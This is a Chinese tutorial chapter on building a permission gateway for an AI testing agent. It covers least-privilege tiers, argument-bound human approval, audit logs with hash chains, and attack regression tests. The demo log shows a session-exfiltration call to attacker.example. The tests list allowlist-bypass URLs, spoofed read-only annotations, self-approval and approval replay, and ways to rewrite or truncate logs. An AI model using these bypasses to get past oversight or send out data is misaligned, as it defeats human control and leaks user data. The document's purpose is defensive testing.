Learning AI Quality 返回 KuthorX Blog II博客首页

第 37 章

第 8 周:给测试 Agent 几把钥匙?最小权限、人工确认与审计日志

给 BugHunt 测试 Agent 的 9 个工具设计四级权限(只读浏览、提交报告、修改测试数据、危险操作),决定哪些操作要人确认、批准怎么才算数,定义审计日志字段,用哈希链加外部锚点防篡改。用 Python 标准库实现一个工具网关,11 道防线各配一条越权 / 绕过用例:全开时 0/11 成功,只关一道时恰好放进针对它的那一条(用例按一一对应设计);37 个测试本地全过,7 个变异全部被抓到。对照 MCP 2026-07-28 的 tool annotations 和 Codex 的 tool_decision 事件。一段讲解视频,一个可以逐道关掉防线、篡改审计日志的互动演示。

BugHunt 的测试 Agent 要做四类事:打开被测页面看、提交 Bug 报告、为了复现造一些测试数据,偶尔还要把测试库清掉重来。前三类出了错影响有限,最后一类一旦做错(清错了库、删掉了别人的报告),就很难撤回。模型会被网页里的文字带偏,也会自己犯错,所以不能靠"模型应该知道不该这么做"。它和真实副作用之间,需要一层你能完全控制的代码:工具网关。

这一章给 BugHunt 的工具设计一套权限模型,回答四个问题:每种 Agent 能用哪些工具,哪些操作必须等人确认,审计日志记什么、怎么防篡改,以及这些规则怎么写成可回归的测试,特别是越权和绕过的负向用例。Codex 的审批、沙箱和 execpolicy 在《Agent 要执行 rm -rf,谁来拦?》讲过,Guardian 在《两份 Bug 报告换个顺序,Judge 就改判了?》讲过,这里不重复,只在最后对照一下 Codex 把审批结果记在了哪里。

配套代码在 week08_安全与权限/code/tool_permissions/,只用 Python 标准库,被测环境是一个假的 BugHunt 应用(合成),不调任何模型。

讲解视频

互动演示

两个演示。第一个是工具网关的单步执行:选一条用例(11 条攻击、6 条正常操作、1 段示例会话),逐步看每个调用被判成允许、待批准还是拒绝,审计日志一条条长出来,哈希现场算。11 道防线都能单独关掉,下面的用例表会按当前防线重新跑一遍,看哪条攻击漏了过去;还可以篡改审计日志的某一条,看哈希链从哪里断开;或者改完把后面的哈希全部重算,看链为什么照样完好、只有和锚点比才露馅。第二个是确认负担:给每个权限等级选"允许 / 确认 / 拒绝",看审批人每天要点多少次。网关规则和本地 gateway.py 一致,“示例会话"跑完的最后一条哈希和 demo.py 的输出逐位相同。页面底部有自动判分的练习。

互动演示:工具网关与审计日志 在新标签页打开

四级权限:BugHunt 的 9 个工具

按"出了错能不能撤回、影响谁"分四级:

等级工具出错的后果
只读浏览browse_page(url)、list_reports(limit)、get_report(report_id)不改任何东西;但浏览外部域名可能把数据带出去
提交报告submit_report(title, severity, steps)只追加;刷屏会淹没真正的报告
修改测试数据seed_fixture(tenant, kind, count)、update_fixture(tenant, record_id, fields)改错租户会污染别的运行
危险操作reset_database(env)、delete_report(report_id)、grant_role(user, role)不可逆,或者影响别人

再按任务定三种 profile,每种只拿完成任务所需的最少等级:

profile用途只读浏览提交报告修改测试数据危险操作
explorer只探索页面允许拒绝拒绝拒绝
hunterBugHunt 默认:找 Bug、造数据、提报告允许允许允许(只限本租户)拒绝
operator有人值守的维护会话允许允许允许(只限本租户)人批准后执行

hunter 是无人值守跑的,但它一次造超过 50 条数据仍然要人确认:没人批准时,这个调用一直停在待批准,不会执行(本文实现里待批准不会自动过期;实际系统应给待批准设超时,到期按拒绝处理)。

3 种 profile × 9 个工具是 27 格,这是权限回归测试的第一张表。等级之外还有四条参数级约束,都写成常量放在 registry.py:

  • 浏览只限被测应用的域名 conduit.test;
  • 测试数据只能改本次运行自己的租户 test-<run_id>;
  • 每次运行最多提交 20 份报告;
  • 只有 test 环境能清库,staging、prod 批准了也不行。

判定:一次调用过哪几道关

网关的核心是一个纯函数 decide(tool, args, ctx, on, annotations),返回允许(allow)、待确认(confirm)、拒绝(deny)三种之一,外加做出决定的规则名。on 是开着的防线集合,正常运行时 11 道全开;关掉某一道,就得到一个"有那个漏洞的网关”,后面的负向测试靠它证明每条用例真的有用。

def decide(tool, args, ctx, on, annotations=None) -> Decision:
    annotations = annotations or {}
    spec = R.TOOLS.get(tool)
    if spec is None:
        if "default_deny" in on:
            return Decision(DENY, "unknown_tool", None)
        return Decision(ALLOW, "unknown_tool_allowed", None)
    if not validate_args(tool, args):
        return Decision(DENY, "bad_args", spec["tier"])
    tier = spec["tier"]
    if "ignore_annotations" not in on and annotations.get("readOnlyHint") is True:
        tier = R.READ  # 有漏洞的写法:server 说只读就当只读
    if "least_privilege" in on and tier not in R.PROFILES[ctx["profile"]]:
        return Decision(DENY, "tier_not_granted", tier)

    if tool == "browse_page" and "host_allowlist" in on and host_of(args["url"]) not in R.ALLOWED_HOSTS:
        return Decision(DENY, "host_not_allowed", tier)
    if spec["tier"] == R.TEST_DATA:
        own = R.sandbox_tenant(ctx["run_id"])
        ok = args["tenant"] == own if "exact_tenant" in on else args["tenant"].startswith("test-")
        if not ok:
            return Decision(DENY, "tenant_scope", tier)
    if tool == "submit_report" and "report_quota" in on and ctx["reports_submitted"] >= R.REPORT_QUOTA:
        return Decision(DENY, "report_quota", tier)
    if tool == "reset_database" and "hard_deny_env" in on and args["env"] not in R.RESETTABLE_ENVS:
        return Decision(DENY, "env_forbidden", tier)

    if tier == R.DANGEROUS:
        return Decision(CONFIRM, "dangerous_needs_human", tier)
    if tool == "seed_fixture" and args["count"] > R.BULK_SEED_THRESHOLD:
        return Decision(CONFIRM, "bulk_seed", tier)
    return Decision(ALLOW, "granted", tier)

顺序是有讲究的:

  1. 登记表精确查名字,查不到就拒绝。Reset_Database、末尾带空格、把 a 换成西里尔字母 а 的名字都算"查不到"。不要在查表前做大小写归一化:如果判定按归一化后的名字、执行按原始名字分发(或者反过来),两边就会对不上。
  2. 参数 schema:必填、类型、不允许多余参数。模型自己在参数里塞一个 "confirmed": true,在这一步就被拒。Python 的 bool 是 int 的子类,{"count": true} 要单独排除。
  3. 等级 × profile:等级来自本地登记表。
  4. 参数级约束:域名白名单要解析 URL 取 hostname,不能做子串匹配(conduit.test.attacker.example、conduit.test@attacker.example 都包含 conduit.test);租户要精确相等,不能用前缀(test-run42-prod 以 test-run42 开头)。
  5. 是否要人确认。
  6. 判定之后,先写审计再执行,审计写不进去就不执行。这一步在 Gateway._run 里,不在纯函数里。

decide() 是纯函数,同样的输入永远给同样的判定,所以 27 格矩阵和每一个边界都能逐格断言。

哪些操作要人确认,批准怎么才算数

要人确认的只有两类:危险操作(清库、删报告、改角色)和批量造数(一次超过 50 条)。其余的用权限和参数约束兜住,不打扰人。《被测页面里藏了一句「指令」,测试 Agent 会照做吗?》的模拟里没有分级,submit_report、save_note 和访问外部域名的 http_get 都要人确认;这里按等级把确认收窄到不可逆的操作,提交报告靠配额兜住,外部域名直接拒绝。

确认的流程是:submit() 判成 confirm 时,网关生成一个批准号,记下"工具名 + 完整参数"的摘要,返回 pending;人在审批界面上批准;Agent 再拿着批准号调 execute_approved()。执行这一步要过五道检查:

检查防的是什么对应用例
批准绑定工具名 + 完整参数的 SHA-256 摘要批准删 R-17,执行时把参数换成 R-1(批准时和执行时不是同一个调用)A6
一次性,5 分钟内有效一次批准清两次库;拿旧批准做新操作A7
批准人在审批人名单里,且不是 Agent 自己Agent 通过某个回调自己批准自己A8
执行时按实际参数重新判定比如批准的是清 test 库,执行时参数换成 prod;即使"绑定参数"这道防线失效,重新判定也会以 env_forbidden 拒绝单测
有些操作批准了也不执行审批人顺手批准了清 prod 库A9

最后一条值得多说一句。prod 清库为什么不做成"要人确认",而是直接拒绝?因为确认是会失效的。Anthropic 在《 Beyond permission prompts: making Claude Code more secure and autonomous 》(2025-10-20)里写道,不停地点"批准"会拖慢开发,并可能导致 approval fatigue,用户不再认真看自己批准的是什么;文中报告在他们内部使用中,沙箱让权限提示减少了 84%。笔者的做法是:确认留给不可逆、影响别人、又确实需要做的操作;不应该发生的操作不交给人判断,直接拒绝。

确认太多会怎样,可以粗算一下。下面是一次有人值守的 BugHunt 运行(合成数据,不是实测):137 次工具调用,其中浏览 84、查报告 22、提交报告 9、造数 5(1 次批量)、改数据 14、危险操作 3。burden.py 的输出:

$ python3.13 burden.py
一次运行 137 次工具调用(合成),每天 20 次运行
所有写操作都确认   每次运行确认 31 次,每天 620 次;未经确认的危险操作 0 次/运行
本文策略       每次运行确认  4 次,每天  80 次;未经确认的危险操作 0 次/运行
全部放行       每次运行确认  0 次,每天   0 次;未经确认的危险操作 3 次/运行

“所有写操作都确认"和"本文策略"拦住的危险操作一样多(都是 3 次全部确认),审批人要点的次数差了 7 倍多(31 对 4)。这个比例取决于这份合成调用分布,换一种任务(比如以造数为主)会完全不同;可以在互动演示 2 里改等级策略和每天运行次数。

审计日志:记什么,怎么防篡改

每次调用至少一条记录,三种 phase:decision(网关的判定,拒绝也记)、approval(人批准或驳回)、result(执行完的结果),用 call_id 串起来。字段:

问题字段
谁actor(哪个 Agent,如 agent:operator-run42)、on_behalf_of(替谁跑)、profile、run_id
什么时候ts(带时区)、seq(单调递增)
哪个工具tool、tier、call_id
参数args(password、token 打码)、args_digest(对原始参数算的摘要,用来核对批准)
谁批准approval_id、approver
结果decision、rule(哪条规则做的决定)、result
防篡改prev_hash、hash = SHA-256(上一条的 hash + 本条的规范化 JSON)

demo.py 跑一段 operator 会话:浏览一次被测页面、一次外部域名,申请删 R-17,alice 批准,Agent 先拿批准号去删 R-1,再删 R-17,最后改一条带密码的测试数据。打印的审计日志(每条只显示部分字段):

$ python3.13 demo.py
{"seq": 1, "ts": "2026-10-01T10:00:01+08:00", "phase": "decision", "call_id": "c-1", "tool": "browse_page", "args": {"url": "https://conduit.test/#/editor"}, "decision": "allow", "rule": "granted", "approval_id": null, "approver": null, "result": null}
{"seq": 2, "ts": "2026-10-01T10:00:01+08:00", "phase": "result", "call_id": "c-1", "tool": "browse_page", "args": {"url": "https://conduit.test/#/editor"}, "decision": "allow", "rule": "granted", "approval_id": null, "approver": null, "result": "ok"}
{"seq": 3, "ts": "2026-10-01T10:00:02+08:00", "phase": "decision", "call_id": "c-2", "tool": "browse_page", "args": {"url": "https://collect.attacker.example/?d=session"}, "decision": "deny", "rule": "host_not_allowed", "approval_id": null, "approver": null, "result": "not_executed"}
{"seq": 4, "ts": "2026-10-01T10:00:03+08:00", "phase": "decision", "call_id": "c-3", "tool": "delete_report", "args": {"report_id": "R-17"}, "decision": "confirm", "rule": "dangerous_needs_human", "approval_id": "ap-1", "approver": null, "result": "pending"}
{"seq": 5, "ts": "2026-10-01T10:00:04+08:00", "phase": "approval", "call_id": "c-3", "tool": "delete_report", "args": {"report_id": "R-17"}, "decision": "approved", "rule": "human_review", "approval_id": "ap-1", "approver": "alice", "result": null}
{"seq": 6, "ts": "2026-10-01T10:00:05+08:00", "phase": "decision", "call_id": "c-4", "tool": "delete_report", "args": {"report_id": "R-1"}, "decision": "deny", "rule": "args_mismatch", "approval_id": "ap-1", "approver": "alice", "result": "not_executed"}
{"seq": 7, "ts": "2026-10-01T10:00:06+08:00", "phase": "decision", "call_id": "c-5", "tool": "delete_report", "args": {"report_id": "R-17"}, "decision": "allow", "rule": "approved", "approval_id": "ap-1", "approver": "alice", "result": null}
{"seq": 8, "ts": "2026-10-01T10:00:06+08:00", "phase": "result", "call_id": "c-5", "tool": "delete_report", "args": {"report_id": "R-17"}, "decision": "allow", "rule": "approved", "approval_id": "ap-1", "approver": "alice", "result": "deleted R-17"}
{"seq": 9, "ts": "2026-10-01T10:00:07+08:00", "phase": "decision", "call_id": "c-6", "tool": "update_fixture", "args": {"tenant": "test-run42", "record_id": "u1", "fields": {"password": "***"}}, "decision": "allow", "rule": "granted", "approval_id": null, "approver": null, "result": null}
{"seq": 10, "ts": "2026-10-01T10:00:07+08:00", "phase": "result", "call_id": "c-6", "tool": "update_fixture", "args": {"tenant": "test-run42", "record_id": "u1", "fields": {"password": "***"}}, "decision": "allow", "rule": "granted", "approval_id": null, "approver": null, "result": "ok"}
共 10 条;第一条完整字段:['actor', 'approval_id', 'approver', 'args', 'args_digest', 'call_id', 'decision', 'hash', 'on_behalf_of', 'phase', 'prev_hash', 'profile', 'result', 'rule', 'run_id', 'seq', 'tier', 'tool', 'ts']
最后一条 hash = d1544dca8bbbb68a…
链完好: (True, None)
把第 5 条的 approver 改成 bob: (False, 4)
改第 5 条并重算后面所有 hash: (True, None) 与锚点一致: False
删掉第 3 条: (False, 2)
删掉最后 2 条: (True, None) (链看不出来,要和另存的最新哈希比)
报告还剩: ['R-1']

verify_chain 返回的第二个值是出问题的那条的下标(从 0 数),(False, 4) 就是第 5 条。几点设计:

  • 拒绝也要记。第 3 条和第 6 条都是拒绝。越权尝试本身就是信号:同一个 run 里出现 host_not_allowed,往往说明页面里有东西在诱导 Agent 往外发数据。
  • 先写判定,再执行,再写结果。判定那条写不进去,就不执行(fail closed);已经执行了而结果写不进去,撤不回,真实系统要告警。只在执行成功后才写一条日志的做法,崩在中间就什么都没留下。
  • 打码和摘要分开。日志里的密码是 ***,但 args_digest 是对原始参数算的,批准核对用它。摘要对低熵的秘密(比如短密码)可以被暴力反推,生产环境应换成带密钥的 HMAC,这里为了演示用的是普通 SHA-256。
  • 哈希链只防"改了不重算”。不带密钥的 SHA-256 谁都能算:能写日志的人改了一条,再把后面每条的 hash 重算一遍,链照样完好(上面输出里"重算后面所有 hash"那一行就是这样);删掉末尾几条,剩下的也仍然首尾相连。所以要定期把最新的 hash 写到 Agent 碰不到的另一个系统(锚点):锚点之前的任何改动、删除、截尾,重算后的最新 hash 都会和锚点对不上。日志本身也要放在 Agent 进程没有删改权限的地方;要防的是能写日志的人,就得用带密钥的 HMAC 或签名。

MCP 的 tool annotations 只是提示

MCP 规范 2026-07-28 版(和《MCP 是什么?给 Agent 插上 USB 口》用的是同一版)给工具定义了可选的 annotations。按官方 schema.ts 的 ToolAnnotations:

字段含义默认值
title给人看的工具名—
readOnlyHinttrue 表示工具不修改环境false
destructiveHinttrue 表示可能做破坏性更新,false 表示只做追加;只在 readOnlyHint 为 false 时有意义true
idempotentHinttrue 表示同样参数重复调用不会产生额外影响;只在 readOnlyHint 为 false 时有意义false
openWorldHinttrue 表示可能和外部的"开放世界"交互(比如 web 搜索),false 表示交互范围是封闭的true

schema 的注释写明:这些属性都是 hints,不保证如实描述工具的行为(包括 title);客户端不应根据来自不可信 server 的 ToolAnnotations 做工具使用决定。 Tools 页面 用的是 MUST:除非来自可信 server,客户端必须把 tool annotations 当作不可信。同一页的安全建议里,客户端 SHOULD 对敏感操作提示用户确认、SHOULD 记录工具使用以便审计。

所以本文网关的等级只看本地登记表。攻击用例 A2 就是一个 server 把 reset_database 标成 readOnlyHint: true:网关忽略它,explorer 调用被 tier_not_granted 拒绝;把"不信 annotations"这道防线关掉,网关就把它当成只读工具直接执行了。annotations 可以用来提示(比如接入新 server 时,把它声明为 destructive 的工具默认归到"危险操作",等人审核后写进登记表),不能用来放行。注意默认值的方向:什么都不声明的工具,按规范默认是"非只读、可能破坏、非幂等、开放世界",也就是最保守的假设。

对照 Codex:审批结果记在哪

Codex(commit 7993248 ,路径相对 codex-rs/)没有单独的审计日志,审批相关的记录走 OpenTelemetry 事件:

和本文的设计对照:

本文网关Codex
串起判定和结果call_idcall_id
谁批准approver 写具体的人;approval_idsource 区分人 / 配置或 hook / 自动审批;账号在公共字段里
被拒绝的调用记一条 decision = deny 和规则名人 / hook / Guardian 拒绝会记一条 decision=denied 的 tool_decision( approvals.rs:508-529 ),网络访问审批被拒也记一条(network_approval.rs:828-833);只有策略层的 Forbidden 直接返回错误(orchestrator.rs:199-201),不发 tool_decision,但整个调用包在 log_tool_result_with_tags 里( core/src/tools/registry.rs:681-696 ),仍会留下一条 success=false 的 tool_result
敏感字段按字段打码,摘要对原始参数算按目标分流:参数原文只进日志目标,trace 目标只放长度
防篡改哈希链无(它是遥测,不是审计存储)

Codex 按"目标"分流敏感字段的做法值得借鉴:同一个事件,发给可信日志后端的带完整参数,发给 trace 后端的只带长度,不用在每个调用点各自判断要不要打码。

权限规则怎么回归测试

测试分三个文件,37 个测试,只用 unittest:

  • test_policy.py:判定规则。27 格矩阵的期望表是独立手写的规格,不从 registry.py 读(理由和《长任务跑到一半,它现在到底是什么状态?》一样:从实现里读期望,实现错一格,测试跟着错)。另外测边界:已交 19 份时第 20 份允许,已交 20 份时第 21 份拒绝;批量造数 50 条允许、51 条要确认;6 个"长得像自己租户"的值;5 个必须被拒的 URL(后缀拼接、userinfo、只出现在查询串、file://、解析失败);名字变体;confirmed: true、缺参数、字符串冒充整数、true 冒充整数。
  • test_gateway.py:越权和绕过。11 条攻击用例防线全开时都被拦下,而且断言的是副作用没有发生(FakeBugHuntApp.effects 里没有那条记录),不只是返回值;再加上批准的边界:恰好 300 秒仍有效、301 秒过期,被驳回的批准不能执行,批准不能挪到别的工具上,一轮里的多个并行调用逐个判定;关掉"绑定参数"后把 test 换成 prod,执行前的重新判定仍以 env_forbidden 拒绝。
  • test_audit.py:审计。每条记录都有全部 19 个字段;拒绝也有记录;执行了的危险操作能查到批准人;日志全文里找不到明文密码,摘要仍然等于原始参数的摘要;在不重算后续哈希的前提下,改一条、删中间一条、调换顺序都能查出来;改一条后把后面的哈希全部重算、或者删末尾两条,链校验照样通过,只有和锚点比才对不上(这两条"查不出来"也写成了测试);审计写不进去时什么都不执行。

每条负向用例都要证明自己有用。攻击用例是数据驱动的(attacks.py,互动演示的 JS 用的是同一份数据),每条标明它针对哪道防线。test_every_attack_succeeds_when_its_defense_is_off 对每条攻击只关掉它针对的那道防线,断言攻击这时成功。如果关掉防线攻击还是失败,说明这条用例根本没走到那道防线,是一条假的负向测试。全组合的结果:

$ python3.13 attacks.py
11 条攻击,6 条正常操作
全开                           攻击成功  0/11 -                                    误杀 0/6
全关(朴素网关)                     攻击成功 11/11 A1,A2,A3,A4,A5,A6,A7,A8,A9,A10,A11   误杀 0/6
只关 least_privilege           攻击成功  1/11 A3                                   误杀 0/6
只关 default_deny              攻击成功  1/11 A1                                   误杀 0/6
只关 ignore_annotations        攻击成功  1/11 A2                                   误杀 0/6
只关 exact_tenant              攻击成功  1/11 A4                                   误杀 0/6
只关 bind_args                 攻击成功  1/11 A6                                   误杀 0/6
只关 single_use                攻击成功  1/11 A7                                   误杀 0/6
只关 no_self_approval          攻击成功  1/11 A8                                   误杀 0/6
只关 hard_deny_env             攻击成功  1/11 A9                                   误杀 0/6
只关 fail_closed_audit         攻击成功  1/11 A10                                  误杀 0/6
只关 host_allowlist            攻击成功  1/11 A5                                   误杀 0/6
只关 report_quota              攻击成功  1/11 A11                                  误杀 0/6

“每次只关一道就恰好漏一条"是这套用例有意设计成一一对应的结果,不是自然规律。真实的网关里防线常常有重叠(比如 explorer 去改别的运行的租户 test-run7,只关最小权限会被租户检查拦下,只关租户检查会被最小权限拦下,两道都关才漏),重叠不是坏事,但测试要能分别证明每一道都在起作用。6 条正常操作在每种配置下都没被误杀,防线不是靠"什么都拒绝"换来的。

本地运行:

$ python3.13 -m unittest
.....................................
----------------------------------------------------------------------
Ran 37 tests in 0.010s

OK

再用变异测试检查测试本身:mutation_check.py 往实现里埋 7 个常见的权限 bug,在临时目录里各跑一遍全部测试:

$ python3.13 mutation_check.py
抓到  报告配额差一:>= 写成 >  <- test_every_attack_is_blocked_with_no_side_effect, test_quota_counts_only_executed_reports, test_report_quota_boundary
抓到  批准有效期边界:> 写成 >=  <- test_approval_ttl_boundary
抓到  域名白名单用子串匹配  <- test_host_allowlist_parses_url_instead_of_substring
抓到  类型检查忘了排除 bool  <- test_missing_and_wrong_type_args
抓到  审计日志不打码  <- test_secrets_are_redacted_but_digest_is_of_real_args
抓到  被拒绝的批准也能执行  <- test_rejected_approval_cannot_execute
抓到  哈希链只查每条自洽,不查前后相连  <- test_deleted_middle_record_is_detected, test_reordered_records_are_detected
7/7 个变异被测试抓到

注意有 5 个变异各自只被一个测试抓到:有效期边界、URL 解析、bool、打码、驳回的批准,这些都是"看起来很小、不专门测就不会被发现"的地方。测试数量不重要,重要的是每一类漏洞都有一个专门盯着它的用例。

面试怎么讲

一句话版本:工具权限分三层。按"能不能撤回、影响谁"把工具分级,每种 Agent 只拿最少的等级,等级只看本地登记表,不信 server 的 annotations;不可逆的操作要人批准,批准绑定工具名和完整参数、一次性、有有效期、不能自批,最危险的那类批准了也不执行;每一次判定都先写审计再执行,写不进去就不执行,审计用哈希链加写在别处的锚点(或 HMAC / 签名)防篡改和截尾。规则写成纯函数,负向用例数据驱动,每条都配一个"关掉对应防线它就成功"的对照,再用变异测试证明测试真能抓 bug。

可能的追问:

  • 为什么不让模型自己判断要不要确认? 模型会被网页内容带偏,也会把"确认"当成参数自己填。确认与否由网关按规则决定,模型能控制的只有它发出的调用。
  • 确认太多怎么办? 先用权限和参数约束把能自动判的判掉,只把不可逆、影响别人的操作留给人,最危险的直接拒绝。可以统计每天的确认次数和批准率,批准率长期接近 100% 往往说明审批已经流于形式(这是笔者的判断,没有引用来源)。
  • 审计日志放哪? 和 Agent 隔离:Agent 进程没有删改权限的只追加存储,定期把最新哈希写到另一个系统。秘密在写日志前打码,摘要对原始参数算。
  • MCP server 的 annotations 有什么用? 可以用来提示和分类,比如新接入的工具按 destructiveHint 默认放进待审核的危险等级;不能用来放行,规范要求把不可信 server 的 annotations 当作不可信。

常见错误说法

  • “MCP server 标了 readOnlyHint,就可以不确认”:annotations 是提示,规范要求客户端把来自不可信 server 的 annotations 当作不可信。
  • “有人工确认就安全了”:批准不绑定参数、可以重放、Agent 能自己批准,确认就是摆设;确认太多,人也会不看就点。
  • “审计只记执行成功的调用”:拒绝和越权尝试最有价值;而且要先写判定再执行,否则崩在中间什么都不留。
  • “审计日志加了哈希链就改不了、删不掉”:链本身挡不住会重算哈希的人,删末尾几条更是连重算都不用;要靠写在别处的锚点(或 HMAC / 签名)。
  • “域名白名单写成 'conduit.test' in url 就行”:conduit.test.attacker.example、conduit.test@attacker.example 都能过,要解析 URL 取 hostname。
  • “负向测试全绿,说明防住了”:要证明每条用例在对应防线关掉时会失败,否则它可能根本没走到那道防线。